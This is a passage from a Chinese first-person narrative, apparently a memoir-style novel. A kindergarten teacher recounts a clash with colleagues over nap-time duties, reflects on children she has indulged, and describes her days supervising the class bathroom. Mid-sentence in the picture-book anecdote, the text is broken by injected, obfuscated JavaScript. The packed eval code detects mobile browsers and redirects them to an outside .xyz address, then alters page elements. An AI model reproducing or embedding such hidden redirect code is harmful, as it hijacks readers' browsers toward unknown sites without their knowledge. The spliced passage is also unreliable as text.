教室里虎着脸凶他们他们反倒乖,睡得也挺好,小孩子又怎样呢?才三四岁年纪照样会欺软怕硬看人下菜碟,一宠就坏! 我感到很挫败,原本小孩子的可爱和纯善是我在幼儿园苦苦支撑的唯一支点,现在却连这最后一片想要守护的净土也污浊不堪,仿佛一直以来孜孜追逐的最后一点光亮也幻灭了。 好容易熬到教师会议结束嘉娜回到教室,若拉离开,可是嘉娜接着又走了,教室里只剩下我一个老师面对二十多个乱哄哄的孩子,而压垮我的最后一根稻草是曼达开完会进教室管孩子时卡伦鸡贼地在门口说了句:“曼达,别管,现在是我们休息的时间。” 那一刻我深切感受到自己一直都只是卡伦随时可以牺牲和利用的工具人,脏活累活全都甩给我,而曼达才是可以和她一起喝酒吃肉、利益共享的朋友。 眼见她二人准备离开,我紧跟在卡伦身后大声呼唤她,平时任何风吹草动都逃不过耳朵的卡伦今天居然坚持装聋作哑大步疾走,像躲瘟疫一般,直到我怒吼一声:“卡伦!” 走廊里来来往往的其他班老师和工作人员这时都停下来侧目,卡伦终于装不下去了,回过身来。 我也是被逼急了,当着所有人的面大叫道:“教室里只有我一个人——和二十多个孩子!” 卡伦大约也被我吓到了,一边连忙解释“嘉娜应该在教室”,一边装模作样地返回教室管了两下,紧接着嘉娜也神出鬼没地回到教室。 我感觉眼泪随时要爆出来,只觉了无生趣,想与全世界为敌,自此便完全黑下脸来,在厕所里看孩子也全程没有笑脸,全然不似平时那样和颜悦色地同孩子说话、绘声绘色地给他们读故事。 小孩子也很精明,感受到我情绪的低气压,都乖乖上厕所不敢来招惹我,只有莉莉安刚刚睡醒,完全不知道整个午睡时发生过什么,还像平常一样一派祥和地同我说这说那,才终于让我露出了短暂的笑脸。 卡伦午休回来连声向我道歉,说不知道嘉娜不在教室,我也无心参详她这种反常的表现是何种心理,只向她解释午休时孩子们各种不听话各种状况,而我又不太舒服,感到筋疲力尽。 卡伦又离开教室,我黑着脸坐在几个画画的孩子旁边,一个孩子来跟我说他要上厕所我便一声不响带他去了,此时嘉娜已经下班,只剩曼达一个人在教室里,她倒也能沉得住气,只管在一个角落里眼观鼻鼻观心地写教案,见了谁都笑眯眯的——我忍不住想,如果午休时我也万事不管只顾闭眼睡觉说不定孩子还没那么乱。 不一会儿卡伦回到教室对我说:“我刚才上楼和南希说过了,虽然我们现在没有杜冰和嘉娜,但是我和曼达也能行,如果你觉得不舒服的话可以回家休息。” 曼达笑眯眯地站在旁边,显然卡伦已经和她通过气了。 我感觉卡伦这么做像是在将我一军——“你不是说不舒服吗?那就干脆回家别待在这里了”,又或者她被我吓到了,不想和情绪不稳的我一起工作,但是除去刚刚被接走的,剩下的十九个孩子两个老师带并不轻松,如果她和曼达能够应付,那就说明她们平时把很多活推给我,不是做不过来,而是故意不做。 可那时我的情绪确实随时都会崩溃,离开对我不失为一种解脱,于是我说了声“谢谢”,再无二话,拿起自己的包和外套拔腿就走,那两位还对我说“希望你快点好起来”。 没有直接回家,而是把车开到附近的小湖边,心情太压抑了,需要透透气。 我开始认真考虑是否应该结束这份工作、这个职业——最近在这个小圈子里每天接触到太多的负能量,太没有价值,孩子的可爱现在也看透了,其实就是缩小版的成人世界,令人感动和得到净化的瞬间寥寥无几,该看该吸收的也差不多了,我的生命如果继续在这样的环境里消耗简直就是浪费。 可是,我又不想在情绪最糟的时候赌气辞职离开,因为那样像在做逃兵,将来的回忆也会是糟糕和遗憾的,我希望能出现一些外力推着我名正言顺又理直气壮地离开,目前唯有等待,更重要的是,我觉得这里是我的试炼场却绝非归宿,我怎可深陷在情绪的风暴里忘了初心? 冷静下来想一想,这些最近不听话的孩子里,居然大多数都曾被我出于同情和鼓励的心态对其格外好过,从某种角度可以说是被我一个一个惯坏的,那么我也算得上自食其果了。 洛依:以前挺懂事的一个小女孩,总喜欢在我身边问各种问题,前一段时间父母离婚,她突然变得敏感爱哭缺乏安全感,其他老师说她总是很焦虑,我在教师会议上分享了对她的观察,认为她在玩游戏时表现出了非凡的自信和领导力,从那以后各位老师在她身上倾注了更多关注,还特意安排她一些领导工作,没想到她现在虽然恢复了自信不再哭泣,却变得盲目自大,常常大声教训其他孩子,午睡时也大声喧哗,直至连我的话都置若罔闻。 佐拉:曾经很乖的一个印度小女孩,头脑挺聪明,我在厕所里读过的故事书她都能复述出来,可能因为常常被冷落,总是在一旁安静地做自己的事,也从不敢像少数几个特别粘人的孩子那样跑到我腿上来坐。前几天我闲来无事便把她抱到腿上和她玩了好一会儿,想分一点宠爱给她,接下来一天她就理所当然地蹭到我腿上坐着不让别的孩子坐,仿佛那是她的特权,这两天我明显感觉到她在我组里声音壮了性子也有些野了,午睡时也敢和隔壁床的小男孩聊天,有点我管不住的趋势了。 梅梅:莫名地非常喜欢我,午睡时我一坐到她旁边她就特别兴奋跟我各种搭话,还常从床铺上跳起来亲我的衣服和手,我叫她安静睡觉她自然是不听的,还嬉皮笑脸像在跟我玩似的,搞得我现在根本不敢坐在她旁边——可是,孩子,你要搞清楚,我是你的老师,不是你的玩伴啊,真是让人头疼! 扎克:因为总是尿裤子,自卑内向话很少,在操场上也很少参加活动,常找个角落自己一个人窝着,我为了鼓励他给他自信,帮他换尿布时总是很温和,又常夸他可爱,他渐渐越来越活泼,最近却有点活泼得过了头,经常在教室里大声喊叫奔跑还抢其他孩子的玩具。扎克的妈妈为了鼓励扎克上厕所,专门买来巧克力豆让老师给他当作上完厕所的奖励,结果非但一点没起作用,反而助长了他的贪念,现在扎克常常走形式地在马桶上坐一下,然后眼睛就斜钩钩地盯着装巧克力豆的袋子。 米罗:让全班老师头疼的一个男孩,不定时发飙乱扔东西,午睡不听话是他的常规操作。 总结下来,发现孩子不听话也并非全是我的缘故,或许和季节、天气、新的流程、与其他老师的互动都有关系。 我开始反思,作为老师一味地同情弱者、对个别孩子过多关注倾斜似乎并非明智之举,特殊关照容易助长孩子的骄傲自大,逆境却反而能磨炼他们的心性,让他们学会谦卑和换位思考;我也反思自己是否没有分清和孩子的界限、树立起应有的威信,让他们误把我当成他们的朋友而非老师,从而出现了我说话不听的后果;我还反思实际情况似乎并没有我想象的那么糟糕可怕过不去,这些天人员短缺流程混乱,大家压力都挺大,互相推诿逃避责任之际觉得我听话好用,我不能总当软柿子,需要学着建立自己的原则和边界。 晚上无意间在网上重听到电影《大话西游》的主题曲《一生所爱》——“苦海/翻起爱恨/在世间/难逃避命运”,内心某个地方的一根弦仿佛被触动,脑海中浮现出很强的画面感:茫茫尘世之外,大漠余晖,一个孤独的背影面向远方遗世独立,满世界的悠悠众生竟无一人能理解他的孤独,那是历经世间种种之后的醒悟和悲凉,想来我们每个人岂不是都在这苦海中翻腾,遍尝爱恨,最终谁又能逃过命运之手?大约每个众生内心都埋藏着这样的潜意识,所以这首歌才能如此触动人心,历久弥新吧? 想想这世上多少蛰伏待机之人都要先经历无数的孤寂、轻视和埋没,而当时机到来时,最值得赞叹的时光已过,那些时光往往是独属于那个当初在黑暗中执着而行的勇敢灵魂和无所不知的冥冥之中的。潜龙勿用,见龙在田,飞龙在天,亢龙有悔——潜龙勿用的阶段最漫长难捱,却也是最重要的蓄积能量的过程;见龙在田是能量从量变达到质变的阶段,最激动人心;一旦飞龙在天光芒尽现,反而很难再保持那份纯粹追求的初心,也势必走向亢龙有悔的周期末尾。 回头再看学校的那些人和事已经不值得一提,唯有小孩子的纯真美好才最真实,越来越觉得自己所经受的一切都是加诸在我身上的磨砺,是上天对我的垂爱,不可能无缘无故没有意义,悠悠天地间,回首五百年,再往前看五百年,现在站在原点所经历的一切都终将成为被风吹散的沙砾尘埃,不变的唯有心中所信、心之所向。 83.第二十五章 厕所所长 自从和曼达发生冲突后,卡伦三人小组以为我不愿意带孩子上厕所在故意推诿,干脆刻意把大部分带孩子上厕所的活都推给我,以至于每天有许多时间我都在厕所里坐冷板凳。 起初我为了遭受的不公和被穿小鞋而感到十分苦闷,实在无法排遣就趁着无人的时候在厕所里轻轻吟唱这首叫做《你管我》的歌: “我不大接受什么被委屈别还手 我不太能够顺应所谓的大潮流 我不找借口懂的人自然能看透 没想辩解太多别用外表解说我 误解不愿反驳我拒绝只谈如果 太多选择背后绝望像没有出口 不如握紧拳头这就是我的所有 管你多怪罪你没资格评头论足 管你自以为你的意见我真不在乎 管你什么想法我是我自己的表达 管你什么看法我的世界我来浮夸 我管你说得多复杂我不要被谁给教化 管你什么说法当我是傻或是笑话 管你什么办法别幻想我沦落倒下” 这首神奇的歌曲就这样在最无助和绝望的时候给了我一个宣泄的出口,帮我渐渐释放掉压力,并从中获得无穷的力量。 我开始试着换一个角度来看问题:每天午睡后老师要把孩子们的小床榻搬到教室的一角摞起来,去年到后来其他老师都把这件差事推给我,我为此郁闷纠结了大半年,今年卡伦在我的职责清单上写明午睡后我的任务是带孩子上厕所,现在更是把几乎整个下午孩子上厕所的事都推给我,因为在她眼里脏活比累活更令人讨厌,而我与她的想法恰好相反,由于腰上有旧伤,宁愿干脏活也好过干累活,倒是因祸得福,从此可以每天大把时间名正言顺地一个人坐在厕所里,远离教室里搬床的劳累和老师之间由此引发的纷争,落得个轻松自在。 我抬头看了看眼前这间儿童专用厕所,靠里一溜三小间带门的马桶隔间,右手靠墙两个小便池和两个洗手池,左手靠墙一个给孩子存放纸尿布、替换衣物和备用鞋子的铁皮储物柜,一个里面装有少量玩具和故事书的三层塑料小抽屉,一条给等待的小朋友坐的长凳,墙上装饰着彩色的二十六个字母贴纸和几幅孩子们的美术作品,靠门这面墙边则放着两把供教师坐的椅子,从这里可以一眼望到门外走廊的尽头,无论是中班教室门口、行政办公室还是从教学楼大门进出的人都尽收眼底、一览无遗。 厕所面积很大,铺着浅色的地砖,每天放学后清洁工都会把这里打扫得一尘不染,高处有几扇宽大的气窗,平时敞开着让空气流通,气窗旁边墙上的插座里插着电熏香,遇到紧急状况还有储物柜里的强力除味喷雾帮忙,所以空气里几乎没有任何异味甚至还有股香甜,再加上墙边的一排暖气片供暖,整个环境温暖又舒适。 在这无人管辖之地,我就是不用看任何人眼色向任何人请示、可以自主决定一切的厕所所长,厕所就是我的办公室,甚至比韦尔和朱丽安的办公室还要宽敞,每天我都要花大量时间在我的“办公室”里安排孩子们上厕所、洗手、刷牙,给他们读故事,带他们玩游戏,同他们谈天说地,友好地向从大门外进来的家长打招呼,在家长带孩子离开学校经过门口时和他们道别,事务相当繁忙。 我看见刚上完厕所的汉斯把厕纸团成一个球准备擦屁股,就走过去一边示范一边对他说:“汉斯,你可以这样把厕纸叠起来。” 汉斯仿佛看怪物似的瞪着眼睛委屈又惊恐地看着我,一副“你是认真的吗”的表情,然后继续将厕纸团成一个球,我只得放弃。班上所有能自己擦屁股的孩子都神奇统一地总是将厕纸团成一个球,而当我不厌其烦地向他们示范如何叠厕纸时,所有孩子的表情都和汉斯刚才一模一样,直至今日这种现象对我来说仍是一个谜。我猜想:或许在三四岁孩子的心目中将厕纸叠成几叠无异于做手工的高难度动作,在擦屁股时使用这种高级技能岂非杀鸡用牛刀? 这时身边的温妮问我:“彦岚,你为什么要把汉斯叫做‘害斯’?” 这个问题其他孩子问过我,汉斯自己也问过我,但是我自问一直叫的都是‘汉斯’呀,虽然发音可能有些不标准,但也没那么不标准吧? 汉斯用厕纸球擦完屁股,一边摁下冲水手柄一边连忙用手捂住耳朵,皱着眉撅着嘴向我抱怨:“声音太大了。” 有不少中班孩子都会抱怨马桶冲水的声音太大,我这才知道原来幼儿感知的世界与成年人很不一样,即便马桶冲水的声音都会令他们敏感娇弱的耳膜难以承受。 贝蒂从抽屉里拿出一本故事书让我读,大致内容讲的是一位小小的女士住在一所小小的房子里,一天早上她起床去一个小小的墓园里捡了一根小小的骨头打算带回家煲汤,一路上一个小小的鬼魂一直跟着她,回到家她觉得累了,就把骨头放在一个小小的橱柜里,用小小的杯子喝了一杯牛奶,然后到小小的床上睡午觉,这时她突然听见橱柜里有个声音大叫道:“把我的骨头还给我!”小小的女士吓得蒙着被子连声说:“拿走拿走!”小小的鬼魂就带着它的骨头高兴地离开了——这虽然是个有些诡异的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492990|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事,画风却十分圆润可爱治愈,是我百读不厌也是孩子们百听不厌的一本儿童图书,全书的亮点就在于,当读到“有个声音大叫道”时一定要停顿一下,这时厕所里所有的孩子都会齐声大喊:“把我的骨头还给我!” 厕所里也是一个让我有机会实践一些教学活动的地方,比如在孩子等待时带领他们唱儿歌《老麦克唐纳有个农场》,同时模仿各种动物的动作和声音;再比如玩《拇指先生在哪里》这种不需要大幅度动作的游戏,将两只手藏在背后,然后各伸出一根手指模仿小人偶跑出来互相问候。孩子们很喜欢这些具有趣味性、想象力、可以跟着模仿的游戏,玩得十分投入,在厕所里等待的时间也就在不知不觉中过去了。 读完故事书,坐在马桶上的莉莉安对我徐徐道:“我的表弟真是让人头疼,他来我家总是乱拿我的东西。” 莉莉安是个脾气温和、脸和行为都有点像中年人的小女孩,上厕所时总喜欢像唐僧一般絮絮叨叨地和我聊她家里的家长里短。 见我有些心不在焉,她不满地说:“彦岚,我在跟你说话!” 我连忙道:“对不起。” 莉莉安叹了口气,仿佛原谅我了,继续道:“昨天我妈妈带我去逛街……” 小孩子都是好奇宝宝,总喜欢在厕所里围着我问东问西,对我身上的一点一滴都充满了关注,我有一件在中国买的衣服,上面印着一只卡通长颈鹿和一串毫无意义的英文字母,总有孩子来到我跟前问:“你衣服上的字是什么意思?” 我只好说:“这个是这只长颈鹿的名字,不过我不知道怎么念。” 小孩子就会认真地:“噢。” 有一段时间我戴了一条毛衣链,下面坠着一块类似玛瑙的吊坠,又总有孩子依偎在我怀里一边伸手把玩着我胸前的吊坠一边好奇地问我:“这是什么?” 我也不知道那个吊坠是什么材质的,就说:“这是石头。” 小孩子就会对我说:“我喜欢这个石头。” 我虽然长了一张娃娃脸,却也从祖先那里继承了头发早白的基因,为了遮盖长出来的少量白发便用指甲花粉染色,又总有孩子爬到我腿上盯着我的头发问:“你的头发里为什么有红色的头发。” 我就说:“因为我很老,所以就长了白头发,但是我觉得白头发很丑,所以就染了色。” 小孩子们又是:“噢。” 总之小娃娃们什么都要问,又说什么都信,我每天好似在答记者问,时时处处被人关注,感觉自己就像一个厕所里的明星。